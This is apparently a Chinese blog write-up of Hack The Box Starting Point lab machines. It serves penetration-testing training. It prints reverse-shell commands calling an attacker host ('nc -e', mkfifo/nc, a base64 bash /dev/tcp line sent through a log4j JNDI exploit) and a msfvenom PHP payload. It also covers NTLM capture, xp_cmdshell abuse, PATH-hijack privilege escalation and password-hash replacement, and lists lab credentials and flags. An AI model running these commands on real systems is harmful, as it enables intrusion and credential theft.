目录

  • 第0层
  • 第1层
    • 第1~3关
    • 第4关:Responder
      • 端口探测
      • 网站探测
      • 本地文件包含漏洞利用
      • 爆破NTLM的哈希
      • 连接靶机
    • 第5关:Three
    • 第6~9关(VIP)
  • 第2层
    • 第1关:Archetype
      • 端口探测
      • SMB探测
      • 连接SQL服务
      • 基于xp_cmdshell反弹shell
      • Flag
      • 提权
    • 第2关:Oopsie
      • 端口探测
      • 网站探测
      • BurpSuite目录发现
      • 越权漏洞
      • 文件上传反弹shell
      • 切换身份-flag1
      • 提权
    • 第3关:Vaccine
      • 端口探测
      • 21端口探测
      • 爆破压缩包-获取web账号密码
      • 登录web-sql注入反弹shell
      • SSH登录-Flag1
      • 提权-flag2
    • 第4关:Unified
      • 端口探测
      • 网站探测
      • log4j漏洞利用(不出网)
      • 替换MongoDB密码hash值
      • 登录unifi-获取SSH账号密码
      • SSH登录root-2个flag
    • 第5~6关(VIP)

第0层

第0层部分靶机免费,部分靶机收费。由于这部分太过简单,因此一笔带过。
第一关Meow是telnet靶场:https://www.bilibili.com/video/BV1nS4y137GQ
第二关Fawn是ftp靶场:https://www.bilibili.com/video/BV11F41147Kf
第三关Dancing是SMB靶场:https://www.bilibili.com/video/BV1nS4y137vm
第四关Redeemer是Redis靶场:https://www.theethicaldroid.com/hack-the-box/htb-walkthrough-tier-0-redeemer
第五关Explosion是RDP靶场(VIP):https://www.bilibili.com/video/BV1RL4y1T75j
第六关Preignition是目录爆破(VIP):https://www.bilibili.com/video/BV1qL411P76v

第1层

第1~3关

  1. 第一关Appointment(考察万能密码登录web):https://www.bilibili.com/video/BV1Fa411b77H
  2. 第二关Sequel(考察MariaDB):https://www.bilibili.com/video/BV1Ei4y1k7jP
  3. 第三关Crocodile(ftp下载敏感文件获取账号密码,目录爆破登录网页):https://www.bilibili.com/video/BV1rT4y1e7Nw

第4关:Responder

通关教程视频:https://www.bilibili.com/video/BV1GS4y1Y716
开启靶机后先下载一下通关攻略,个人觉得开局来个NTLM这种横向移动中才用到的技术,有点难为新手了。由于文档是全英文的,因此这里使用谷歌翻译处理一下,翻译效果还不错。

端口探测

探测到2个开放的端口

nmap -p- --min-rate 5000 -sV 10.129.72.220

网站探测

一看这个德行,就知道要修改hosts文件了。

页面上点击一番后,发现修改页面语言的时候URI地址发生了有趣的变化

根据通关攻略,发现了本地文件包含漏洞

本地文件包含漏洞利用

在靶场中,windows本地文件包含漏洞不算一个严重的漏洞,但是靶机开放了5985端口,我们就可以利用NTLM。这部分的内容比较复杂,不做解释。
攻击端准备
攻击者使用Responder监听tun0网卡,然后通过浏览器或者curl命令,让靶机包含来自SMB服务器的资源,在这种情况下,因为我们可以自由指定 SMB 共享的地址,所以我们指定了攻击机器的 IP 地址。现在服务器尝试从我们的 SMB 服务器加载资源,并且 Responder 捕获了足够的资源以获取 NetNTLMv2。NetNTLMv2 包括质询(随机文本)和加密响应。

git clone https://github.com/lgandx/Responder.git
cd Responder
sudo python3 Responder.py -I tun0

爆破NTLM的哈希

  1. 解压字典:gzip -d /usr/share/wordlists/rockyou.txt.gz
  2. 爆破:john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

连接靶机

我们将连接到目标上的 WinRM 服务并尝试获取会话。因为 Linux 上默认没有安装 PowerShell,所以我们将使用一个名为Evil-WinRM的工具,它是为这种情况而设计的。根据通关攻略得知Flag的位置。

evil-winrm -i 10.129.72.220 -u administrator -p badminton

第5关:Three

通关教程:https://ewan67.github.io/posts/htb-writeup-tier1-three/
这一关考察的是AWS S3,相信这一块对于国内的安全从业者还是挺陌生的,云安全的从业者并不多。按照教程可以打通这关,在文件上传的时候,我费了点时间。这里说几个注意事项。

  1. 爆破出子域名后,需要修改hosts文件,否则会导致文件上传失败
  2. 上传反弹shell的文件时,反弹的地址不可以写VPS的地址,必须写VPS的tun0网卡地址
  3. VPS放行nc监听的端口,才可以正常反弹shell

第6~9关(VIP)

第6关(Ignition):https://www.bilibili.com/video/BV1Ma41147ZF
第7关(Bike):https://www.bilibili.com/video/BV1434y147av
第8关(Pennyworth):https://www.bilibili.com/video/BV1FT4y1v7V4
第9关(Tactics):https://www.bilibili.com/video/BV1CL4y1L7kJ

第2层

第1关:Archetype

通关视频教程:https://www.bilibili.com/video/BV1R3411J7J2
通关文字教程:https://systemweakness.com/archetype-hackthebox-walkthrough-be99a1fba8ea
我这里依旧是下载官方攻略,并使用Google翻译把攻略翻译成中文,这一点已经在“第1层 → 第4关”中演示过。这个靶机主要是考察1443端口的Microsoft SQL Server。关于此端口的更多利用姿势参加:https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-os-commands

端口探测

注意到靶机上运行着Microsoft SQL Server,SMB服务。

nmap -p- 10.129.175.179 --min-rate 4000
nmap -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669 10.129.175.179 -A

SMB探测

这里使用smbclient尝试连接靶机,直接连接的时候要密码,回车即可,发现可以连上。那么下次碰到这种情况就可以加上-N参数,表示没有密码。通过下图注意到-N参数如果位置不对,可能还是得输入密码。

探测发现backups目录中存在一个账号密码:ARCHETYPE\sql_svc、M3g4c0rp123

连接SQL服务

现在让我们远程登录到SQL Server,但是如何做到这一点?在官方攻略中,我们将找到一个名为“mssqlclient.py”的工具。此工具将使我们能够登录到目标的SQL Server服务器。

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install -r requirements.txt
sudo python3 setup.py install
cd impacket/examples/
mssqlclient.py -h

发起连接:./mssqlclient.py Archetype/sql_svc@10.129.175.179 -windows-auth

尝试执行个命令看看呢?报错了,根据错误信息得知xp_cmdshell

然后怎么玩呢?谷歌搜索“xp_cmdshell”找到了微软的官方文档:https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?source=recommendations&view=sql-server-2016(手工把上面地址中的“en-us”修改为“zh-cn”可以看到中文文档,但是翻译的有点问题,所以下图使用的是英文文档)

接下来按照微软官方的教程,先确认自己是管理员权限,然后逐步启动“xp_cmdshell”来实现命令执行效果。

SELECT is_srvrolemember('sysadmin');
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
xp_cmdshell "whoami"

基于xp_cmdshell反弹shell

可以参见这篇文章:https://pentestwiki.org/academy/how-to-get-a-xp_cmdshell-reverse-shell/
由于我已经可以在SQL Server中执行命令了,因此我会让靶机下载一个nc反弹连接我。

  1. VPS下载nc:wget https://github.com/int0x33/nc.exe/blob/master/nc.exe
  2. VPS开启web服务:python -m http.server 80
  3. 靶机下载nc(需要把nc下载到有权限读写的文件夹):
xp_cmdshell "powershell.exe wget http://10.10.14.175/nc.exe -OutFile c:\\Users\Public\\nc.exe"
  1. VPS开启端口监听:nc -nvlp 4444
  2. 靶机运行nc上线:xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe 10.10.14.175 4444"

结果是比较倒霉,上传的nc与系统不兼容,我刚才上传的应该是32位的,重新上传64位呢?于是来到官方攻略中提到的网站https://github.com/int0x33/nc.exe下载并上传了64位的,再次提示版本不兼容。还是得自己动手丰衣足食!在我之前的笔记中记录过windows通过nc上线:语雀地址、CSDN地址

  1. VPS下载并解压nc:
wget https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip
unzip netcat-win32-1.11.zip
cd netcat-1.11
  1. VPS开启web服务:python -m http.server 80
  2. 靶机下载nc(需要把nc下载到有权限读写的文件夹):
xp_cmdshell "powershell.exe wget http://10.10.14.175/nc64.exe -outfile c:\\Users\Public\\nc64new.exe"
  1. VPS开启端口监听:nc -nvlp 4444
  2. 靶机运行nc上线:xp_cmdshell "c:\\Users\Public\\nc64new.exe -e cmd.exe 10.10.14.175 4444"

Flag

得到Flag:3e7b102e78218e935bf3f4951fec21a3

提权

这里使用工具:PEASS-ng

  1. VPS下载提权工具并投递:
wget https://github.com/carlospolop/PEASS-ng/releases/download/20221016/winPEASx64.exe
python -m http.server 80
  1. 靶机下载工具,并运行它
powershell   # 切换终端为powshell
wget http://10.10.14.175/winPEASx64.exe -outfile winPEASx64.exe
./winPEASx64.exe

  1. 发现敏感文件

直接运行提权脚本没有看到黄色高亮的漏洞,通过官方攻略得知存在一个敏感文件
账号密码:administrator、MEGACORP_4dm1n!!
连接靶机:python3 /home/kali/test/impacket/examples/psexec.py administrator@10.129.175.179

  1. 以管理员身份登录靶机,并拿到了最后一个Flag:b91ccec3305e98240082d4474b848528

第2关:Oopsie

通关视频:https://www.bilibili.com/video/BV173411T7Kp

端口探测

nmap -p- --min-rate 4000 -sV 10.129.88.18

网站探测

开局就是一个静态页面,啥都没有,直接目录爆破,这里比较遗憾,使用dirsearch没有爆破出有价值的结果,我当然可以更换别的字典,但是这会消耗我VPS不少流量,我决定换种方法。

BurpSuite目录发现

在上一篇文章中我介绍了我是使用“SSH本地socks5代理”技术来打靶的,因此我只需要配置一下BurpSuite的Socks5即可用它测试web

打开网站之后,bp发现了一个url,访问一下,看到了一个登录窗口,简单的密码爆破无果后,选择以访客模式进入网站,登录之后首先就注意到了uri中的id值是可以改变的,sqlmap一把梭,但是没有扫出来。既然没有SQL注入,那么最有可能是就是越权漏洞了。

越权漏洞

观察bp的流量包发现cookie值似乎和用户的身份有关,那么我能否通过修改cookie实现越权呢?
当把id改为1的时候,页面显示出了管理员的名字和对应的值,那么就修改一下cookie值验证是否能越权。

结果发现,变成管理员之后,文件上传功能可以使用了。记得目录爆破的时候发现了uploads目录,这个时候就是文件上传反弹shell了。

文件上传反弹shell

这里演示MSF获取反弹shell。我这里第一次没有成功,看了攻略才知道如果shell文件不存在,有可能是靶机删除了,需要重新上传。

生成后门
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.175 LPORT=4444 -f raw > ./phpweb.php开启监听
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 10.10.14.175
exploit获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

切换身份-flag1

通过敏感文件找到了robert用户的密码:M3g4C0rpUs3r!得到Flag:f2c74ee8db7983851ab2a96a44eb7981
既然如此,就不用反弹的那个不好用的shell了,直接ssh登录

提权

常规提权方法失效,开始收集敏感文件。以前的思路是搜索“文件所有者是root、文件具有可执行权限、其他用户具有可写权限的所有文件”或者搜索“搜索既可执行,又有suid权限,所有者是root的文件”,但是搜索结果太多,肉眼看不出可疑文件。
根据官方攻略,思路拓宽了一些,根据id发现当前用户属于bugtracker组,于是:

  1. 搜索搜索属于这个组的所有文件:find -group bugtracker 2>/dev/null

但是这种搜索的结果应该比较多(忽略此次只搜索出一个结果),我觉得命令应该改造一下:搜索文件所有者是root的文件,并且其他用于对此文件既可执行,又有suid权限,并且还属于某个组

find / -type f -user root -perm -u+sx -group bugtracker -ls 2>/dev/null
  1. 分析发现这个文件是个可执行文件,执行发现它在调用cat,由于没有使用绝对路径调用cat,那么就可以通过修改环境变量实现提权。
  2. 修改环境变量
# 查看当前环境变量
echo $PATH# 把一个shell的路径写入到cat文件中,并确认环境变量写入成功
echo "/bin/bash" > cat
chmod +x cat
export PATH=/home/robert:$PATH
echo $PATH# 运行可执行文件,以root权限拿到shell
/usr/bin/bugtracker

  1. 获取flag

由于cat命令被占用了,所以使用tail命令查看,得到Flag:af13b0bee69f8a877c3faf667f7beacf

额外补充,如果我非要用cat怎么办?有两种办法

  1. 使用绝对路径调用cat
  2. 删除我添加的环境变量

第3关:Vaccine

通关视频:https://www.bilibili.com/video/BV1KY411j7Pa

端口探测

发现开放了21,22,80端口,其中21端口支持匿名登录。

nmap -p- --min-rate 4000 -sV 10.129.204.126
nmap -p21,22,80 -A 10.129.204.126

21端口探测

发现了一个意思备份文件的压缩包

爆破压缩包-获取web账号密码

爆破得到解压密码:741852963

zip2john backup.zip >  hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
unzip backup.zip

阅读爆破出的文件,发现了一个用户名和md5加密后的密码

使用在线平台获取到密码 qwerty789:https://www.cmd5.com/

登录web-sql注入反弹shell

登录之后看到一个搜索框,随便输入点数据,疑似SQL注入漏洞

sqlmap一把梭,发现确实存在sql注入:

sqlmap -u "http://10.129.204.126/dashboard.php?search=123%27" --cookie="PHPSESSID=3gadc93r3elf0k9ejv519ku7pd"

首先检查发现自己有DBA权限:

sqlmap -u "http://10.129.204.126/dashboard.php?search=123%27" --cookie="PHPSESSID=3gadc93r3elf0k9ejv519ku7pd" --is-dba

那就直接拿shell吧,这里进行了多次尝试,最终通过nc拿到shell

sqlmap -u "http://10.129.204.126/dashboard.php?search=123%27" --cookie="PHPSESSID=3gadc93r3elf0k9ejv519ku7pd" --os-shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.175 4444 >/tmp/f
python3 -c 'import pty; pty.spawn("/bin/bash")'

SSH登录-Flag1

在web目录下以pass作为关键字,使用命令grep pass *搜索,在"dashboard.php"中发现一组账号密码:postgresP@s5w0rd!,然后顺利使用此账号密码SSH登录了靶机,拿到Flag:ec9b13ca4d6229cd5cc1e09980965bf7

提权-flag2

简单的sudo提权,用到了vi提权:https://gtfobins.github.io/gtfobins/vi/
得到flag:dd6e058e814260bc70e9bbdef2715849

第4关:Unified

通关视频:

  1. https://www.youtube.com/watch?v=nwHSFUn2RuA
  2. https://www.bilibili.com/video/BV1q34y1Y72d

端口探测

nmap -p- --min-rate 4000 -sV 10.129.171.50
nmap -p22,6789,8080,8443,8843,8880 -A 10.129.171.50

网站探测

打开网站如下图,根据 unifi 和版本号 6.4.54 在谷歌上搜索,搜素结果显示它似乎容易收到 log4j 漏洞的影响。我自然而然的就启动了BurpSuite,但是很奇怪,插件 log4j2scan 没有扫描出来。猜测应该是靶机出网流量受限(后面我们会证明这一点),在网上搜索一番后,找到了漏洞利用文章 (文章介绍了漏洞验证和漏洞利用,下面的所有操作都是围绕着这篇文章展开的)https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi

log4j漏洞利用(不出网)

注意,我们是通过搜索服务名称和版本号发现此漏洞的!
发送payload之后,收到一条错误提示,那到底有没有漏洞呢?LDAP运行的默认端口为389,让我们来看一下389端口的流量吧。结果抓到了流量,说明极有可能存在漏洞。

现在开始漏洞利用
攻击者准备:

  1. 安装openJDK
sudo apt update
sudo apt install openjdk-11-jdk -y
java --version
  1. 准备攻击工具Maven
sudo apt install maven
mvn -v

  1. 下载并构建Rogue-JNDI Java 应⽤程序
git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package

  1. 生成用于 JNDI 注入攻击的恶意 LDAP 服务器
echo 'bash -c bash -i >&/dev/tcp/10.10.14.175/4444 0>&1' | base64
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMTc1LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.175"

发送一下数据包,成功反弹shell

获取交互式shell:script /dev/null -c bash

替换MongoDB密码hash值

由于unifi需要MongoDB作为它的数据库,默认的数据库名是ace,所以我们先检查一下有没有MongoDB服务。同时文章指出,MongoDB能帮助提权,那么就来找一下MongoDB。
检查发现靶机在27117端口运行着MongoDB,尝试与MongoDB交互获取账号密码

ps aux | grep mongo
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

由于密码是$6$开头的,通过靶场攻略得知这个是sha-512加密算法的特点,当然我也可以通过hashid证明。由于这种加密存在加盐,因此每次加密结果都不一样。现在爆破密码就算了,我还是生成一个新的来偷梁换柱。

hashid '$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.'
mkpasswd -m sha-512 123456

替换管理员的哈希值

mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$uaBrPNpdaXCYReU7$xJ..g92Sl9QxUIvUpbvJRDH7DyUT3oWenGBZeLUXjYqOjcDh9TINtXb0aDoPBHYN/ZgCetNZmLnosZJkLaAJT1"}})'

登录unifi-获取SSH账号密码

使用账号密码administrator、123456登录系统,
找到了SSH登录靶机的账号密码:root、NotACrackablePassword4U2022

SSH登录root-2个flag

得到2个flag

  1. 用户的:6ced1a6a89e666c0620cdb10262ba127
  2. root的:e50bc93c75b634e4b272d2f771c33681

第5~6关(VIP)

第5关:https://www.bilibili.com/video/BV13S4y1A7N8
第6关:https://www.bilibili.com/video/BV1PZ4y127g9

htb:Starting Point相关推荐

  1. Tomcat端口被占用:starting Tomcat8.0 server at localhost has encountered a problem

    #8005,8009,8080端口被占用问题: starting Tomcat8.0 server at localhost has encountered a problem! Several po ...

  2. MySQL常见错误:Starting MySQL...The server quit without updating PID file (/usr/local/mysql/data/localhos

    常见错误1:Starting MySQL-The server quit without updating PID file (/usr/local/mysql/data/localhost.loca ...

  3. U盘安装Centos7启动过程中出现:starting dracut initqueue hook

    使用U盘安装Centos7启动过程出现了以下报错:starting dracut initqueue hook 这个问题是因为安装程序没有找到安装文件的位置.所以我们需要在启动过程中找到对应启动盘的U ...

  4. jenkins启动失败:Starting Jenkins /etc/rc.d/init.d/jenkins: line 115: daemonize: command not found

    1.错误信息:Starting Jenkins /etc/rc.d/init.d/jenkins: line 115: daemonize: command not found 2.原因:部分cont ...

  5. Mysql 启动报错解析:Starting MySQL.. ERROR! The server quit without updating PID file (/usr/local/mysql/dat

    现象: root@centos74 ~]# service mysqld start Starting MySQL.. ERROR! The server quit without updating ...

  6. [转载]linux 出现: Starting MySQL.Manager of pid-file quit without updating file.[FAILED] 已解决...

    声明:此文章转载自: http://blog.csdn.net/shuicaohui5/archive/2009/12/16/5015218.aspx 安装mysql 版本: mysql-5.1.41 ...

  7. Haproxy启动故障:Starting proxy:cannot bind socke

    Haproxy启动时提示失败: [ALERT] 146/132210 (3443) : Starting frontend Redis: cannot bind socket [0.0.0.0:637 ...

  8. Ubutnu18.04解决:Starting Wait until snapd is fully seeded...

    1.原因是因为snapd损坏,需要强制删除 首行加入:exit 0 # sudo vim /var/lib/dpkg/info/snapd.prerm exit 0# dpkg --purge --f ...

  9. Zookeeper启动失败,提示:Starting zookeeper ... already running as process

    原因: 系统检测到你的zookeeper是在启动的状态,这是因为上一次异常关机或断电造成zookeeper没有正常关闭,导致zookeeper-server.pid文件残留. 解决办法: 1.执行命令 ...

  10. linux安装mysql报错:Starting MySQL.The server quit without updating PID file ([FAILED]al/mysql/data/l.pid

    查看报错日志路径:/usr/local/mysql/data/*.err 按照提示修改vi /etc/my.cnf配置文件的lower_case_table_names = 0 保存后,重启mysql ...

最新文章

  1. 数组、链表、Hash(转)
  2. linux ulimit命令 控制shell执行程序的资源
  3. 三菱plc 与 计算机 通讯,PC与三菱PLC之间的RS232通讯协议
  4. ffmpeg库编译加文字_ffmpeg第三方库编译记录
  5. 你在看Netflix,Netflix也在看你
  6. 配置 yum 源的两种方法
  7. java内存四大区,jvm基础-内存区域
  8. Cache技术―OSCache
  9. 各银行汇款手续费之比较
  10. 莎拉波娃美网新赛服亮相
  11. OpenCV:使用python-cv2实现视频的分解与合成
  12. iOS开发之通过代理逆向传值
  13. 安装TensorFlow-gpu的注意点
  14. 启明星系统简介--兼论启明星OA思想
  15. Java解析魔兽争霸3录像W3G文件(二):压缩数据块解压合并
  16. 《机关单位办公自动化应用指南 (基于国产信息技术应用创新终端)》
  17. Dreamweaver入门基础与HTML视频教程
  18. 有了这个列表,程序员不愁没练手的小项目了
  19. origin做主成分分析图_Origin如何进行主成分分析
  20. PS如何把文字的上下间距/行距如调大调小?

热门文章

  1. wget 下载网站所有文件
  2. Markdown目录生成
  3. windows多网卡叠加网速
  4. 用计算机算e的次方,e的值(万能计算器在线使用)
  5. python火车票票价_Python火车票代码
  6. python 绘制三国演义人物关系图
  7. gradient()函数的理解
  8. 2个鸡蛋,100层楼问题
  9. RoCEv2 无损队列缓存
  10. 读《从优秀到卓越》乱摘